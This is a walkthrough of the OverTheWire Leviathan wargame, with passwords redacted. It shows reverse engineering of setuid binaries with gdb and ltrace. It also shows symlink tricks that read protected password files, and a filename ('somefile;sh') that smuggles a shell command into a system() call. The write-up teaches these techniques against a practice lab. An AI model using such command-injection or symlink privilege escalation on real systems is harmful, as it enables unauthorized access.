OverTheWire: Leviathan Writeup
Intro
Leviathan is a wargame from overthewire. It mainly focuses on Unix commands and reverse engineering. I have redacted the answers, replacing them with XXXXXXXX instead. I encourage readers to try and solve the exercises on their own before reading this writeup.
Level 0
The password for the first level is provided on the intro page. ssh
into leviathan0@leviathan.labs.overthewire.org.
Level 0 –> 1
There is a file named .backup/bookmarks.html
. I opened it in vim and searched for all occurrences of the word “password” with :/password
This will be fixed later, the password for leviathan1 is XXXXXXXX"
Level 1 –> 2
There is a binary called check
that will print the flag if the correct password is entered.
leviathan1@leviathan:~$ file check
check: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID\[sha1\]=c735f6f3a3a94adcad8407cc0fda40496fd765dd, not stripped
leviathan1@leviathan:~$ ./check
password: hello
Wrong password, Good Bye ...
Looks like “hello” was incorrect.
Next, I ran strings ./check
to see if it would reveal the correct password.
I wanted to take a closer look at the binary, so I fired up gdb:
0x0804857f <+68>: call 0x80483c0 <printf@plt>
0x08048584 <+73>: add esp,0x10
0x08048587 <+76>: call 0x80483d0 <getchar@plt>
0x0804858c <+81>: mov BYTE PTR \[ebp-0xc\],al
0x0804858f <+84>: call 0x80483d0 <getchar@plt>
0x08048594 <+89>: mov BYTE PTR \[ebp-0xb\],al
0x08048597 <+92>: call 0x80483d0 <getchar@plt>
0x0804859c <+97>: mov BYTE PTR \[ebp-0xa\],al
0x0804859f <+100>: mov BYTE PTR \[ebp-0x9\],0x0
-- redacted for readability --
The printf
call prints the password:
prompt seen earlier. The three calls to getchar
store the first three characters we entered into a buffer. The buffer is null terminated with 0x0 on line <+100>. Continuing on:
0x080485a6 <+107>: lea eax,\[ebp-0x10\]
0x080485a9 <+110>: push eax
0x080485aa <+111>: lea eax,\[ebp-0xc\]
0x080485ad <+114>: push eax
0x080485ae <+115>: call 0x80483b0 <strcmp@plt>
-- redacted for readability --
Our input is stored in ebp-0xc and the correct password is in ebp-0x10. The strcmp call checks to see if the passwords match.
0xffffd69c: "hel"
(gdb) x/s $ebp-0x10
0xffffd698: XXX
Run the check binary again and enter the correct password to get a shell:
leviathan1@leviathan:~$ ./check
password: XXX
$ whoami
leviathan2
$ cat /etc/leviathan\_pass/leviathan2
XXXXXXXX
Level 2 –> 3
This level contains an binary executable called printfile
that will only print files that our user has permission to read.
After examining the binary in gdb and radare2, I reverse engineered the following C pseudo-code:
int main(int argc, char \*argv)
{
const char\* filename= argv\[1\]
if (argc < 2) {
printf("Usage: ./printfile filename")
return 1;
}
// open file in mode 4 (read only mode)
if (access(filename, 4) != 0) {
puts("You cant have that file...")
return 1;
}
// user is allowed to read this file, set up command to print it
const char \*format = "/bin/cat %s";
size\_t size = 511; // 0x1ff
char \*s;
// build the string buffer to pass to system()
// note: buffer is never free'd, resulting in a memory leak
snprintf(s, size, format, filename);
// enable setuid bit to run as leviathan3
geteuid();
geteuid();
setreuid();
// run /bin/cat filename
system(s);
return 0;
}
The program calls access(filename, 4)
, which checks to see if our user has read permission for the given file. If it does, run /bin/cat
. Otherwise, exit the program.
I took a look at the man page for access
to see if it has any common vulnerabilities, and found the following:
Warning: Using these calls to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this reason, the use of this system call should be avoided. (In the example just described, a safer alternative would be to temporarily switch the process’s effective user ID to the real ID and then call open(2).)
I explored implementing an access
race condition exploit, but was not successful. If anyone is able to pull this off, I’d love to hear about it!
Solution 1
The first solution is to exploit cat
. Observe below:
leviathan2@leviathan:/tmp/level02$ echo 1 > a
leviathan2@leviathan:/tmp/level02$ echo 2 > b
leviathan2@leviathan:/tmp/level02$ echo 3 > "a b"
leviathan2@leviathan:/tmp/level02$ cat a b
1
2
leviathan2@leviathan:/tmp/level02$ cat "a b"
3
leviathan2@leviathan:/tmp/level02$ ~/printfile a b
1
leviathan2@leviathan:/tmp/level02$ ~/printfile "a b"
1
2
Notice that cat a b
prints two separate files “a” and “b”, while cat "a b"
prints out one file “a b”. Likewise, printfile a b only prints the contents of a.
How can this be used to print the password? The answer is use symbolic links!
leviathan2@leviathan:/tmp/level02$ rm a
leviathan2@leviathan:/tmp/level02$ ln -s /etc/leviathan\_pass/leviathan3 a
leviathan2@leviathan:/tmp/level02$ ~/printfile "a b"
XXXXXXXX
2
Solution 2
In bash, commands can be ended with a semicolon ;
. Since the file is being passed directly to system
after the access
check, what if we had a file named “somefile;sh”?
leviathan2@leviathan:/tmp/level02$ touch "somefile;sh"
leviathan2@leviathan:/tmp/level02$ ~/printfile "somefile;sh"
$ whoami
leviathan3
Level 3 –> 4
This is one of the more simple exercises. The password is shown in ltrace
.
leviathan3@leviathan:~$ ltrace ./level3
\_\_libc\_start\_main(0x8048618, 1, 0xffffd784, 0x80486d0 <unfinished ...>
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> happy
"happy\\n", 256, 0xf7fc55a0) = 0xffffd590
strcmp("happy\\n", "snlprintf\\n") = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
) = 19
+++ exited (status 0) +++
leviathan3@leviathan:~$ ./level3
Enter the password> snlprintf
\[You've got shell\]!
$ whoami
leviathan4
$ /bin/bash
leviathan4@leviathan:~$ cat /etc/leviathan\_pass/leviathan4
XXXXXXXX
Level 4 –> 5
There is a binary file named .trash/bin
. When it is run, it prints several of binary numbers. I searched to see if there is a simple way to convert binary to ascii, but failed to do so with xxd
, hd
, or strings
. If you have a solution, please let me know.
Thanks to this Stack Overflow post, we can use the following perl command:
leviathan4@leviathan:~/.trash$ ./bin | perl -lape '$\_=pack"(B8)\*",@F'
XXXXXXXX
Level 5 –> 6
We are given a binary named ./leviathan5. Running ltrace ./leviathan5
shows that this binary searches for a file named “/tmp/file.log”. If the file exists, it prints out its contents.
leviathan5@leviathan:~$ echo "hello world" > /tmp/file.log
leviathan5@leviathan:~$ ./leviathan5
hello world
The ltrace
output also shows that there is no call to access
. Meaning, the binary does not check if we have read permission before printing! We can use a symbolic link to create a link between etc/leviathan_pass/leviathan6 and /tmp/file.log:
leviathan5@leviathan:~$ ln -s /etc/leviathan\_pass/leviathan6 /tmp/file.log
leviathan5@leviathan:~$ ./leviathan5
XXXXXXXX
Level 6 –> 7
In this level, we are given a binary called leviathan6 that needs a 4 digit code. Observer the below ltrace
output
leviathan6@leviathan:~$ ltrace ./leviathan6 1234
atoi(0xffffd8ad, 0, 0xf7e40890, 0x804862b)
puts("Wrong"Wrong
)
The program calls atoi
, to convert our string into an integer, and then prints “Wrong”.
I opened the binary in gdb to get a better understanding of what it is doing. Of particular interest are the following lines:
0x0804854f <+20>: mov DWORD PTR \[ebp-0xc\],0x1bd3
-- redacted for readability --
0x08048587 <+76>: call 0x8048420 <atoi@plt>
0x0804858c <+81>: add esp,0x10
0x0804858f <+84>: cmp eax,DWORD PTR \[ebp-0xc\]
The value 0x1bd3 is stored into register $ebp-0xc, and the value we entered is passed to atoi
and stored in register $eax. These two values are compared on line <+84>. If they match, we get a shell. gdb can be used to get the decimal value of 0x1bd3:
(gdb) p 0x1bd3
$1 = 7123
Is this the correct 4 digit code? Only one way to find out:
leviathan6@leviathan:~$ ./leviathan6 7123
$ whoami
leviathan7
$ cat /etc/leviathan\_pass/leviathan7
XXXXXXXX
That’s all folks!
Hope you enjoyed my writeup, and please feel free to comment below!